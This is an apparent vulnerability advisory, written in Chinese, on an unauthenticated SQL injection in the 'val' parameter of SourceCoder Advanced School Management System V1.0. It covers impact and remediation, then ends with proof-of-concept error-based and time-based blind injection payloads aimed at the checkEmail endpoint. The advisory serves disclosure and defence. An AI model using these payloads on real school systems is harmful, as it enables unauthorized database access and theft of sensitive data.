# SourceCoder Advanced School Management System SQL注入漏洞总结 ## 漏洞概述 * **产品名称**: SourceCoder Advanced School Management System with Complete Features V1.0 * **漏洞类型**: SQL Injection (SQL注入) * **受影响文件**: `commonController.php` (第85行) * **漏洞参数**: `val` * **漏洞成因**: 攻击者将恶意代码注入到 `val` 参数中,并在SQL查询中直接使用,缺乏适当的清理或验证。 * **利用条件**: 无需登录或授权即可利用。 ## 影响范围 * **受影响版本**: V1.0 * **潜在危害**: 攻击者可以伪造输入值,从而操纵SQL查询并执行未授权的操作。这可能导致未经授权的数据库访问、敏感数据泄露、数据篡改、全面的系统控制甚至服务中断,对系统安全和业务连续性构成严重威胁。 ## 修复方案 1. **使用预处理语句和参数绑定**: 预处理语句可以防止SQL注入,因为它们将SQL代码与用户输入数据分开。 2. **输入验证和过滤**: 严格验证和过滤用户输入数据,确保其符合预期格式。 3. **最小化数据库用户权限**: 确保用于连接数据库的账户具有最低必要权限。避免使用具有高级权限(如 'root' 或 'admin')的账户进行日常操作。 4. **定期安全审计**: 定期进行代码和系统安全审计,以及时识别和修复潜在的安全漏洞。 ## 漏洞利用代码 (POC) **Payload:** ```text Parameter: #1* (URI) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET) Payload: http://localhost:8888/SchoolManagementSystem/index.php/commonController/checkEmail?val=admin%40admin.c AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDOM]) Vector: AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDOM]) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: http://localhost:8888/SchoolManagementSystem/index.php/commonController/checkEmail?val=admin%40admin.c AND (SELECT [RANDNUM] FROM (SELECT(SLEEP(5)))x) IF([INFERENCE],0,SLEEP(5)))[[RANDOMSTR]] Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP(5)))x) IF([INFERENCE],0,SLEEP(5)))[[RANDOMSTR]] ```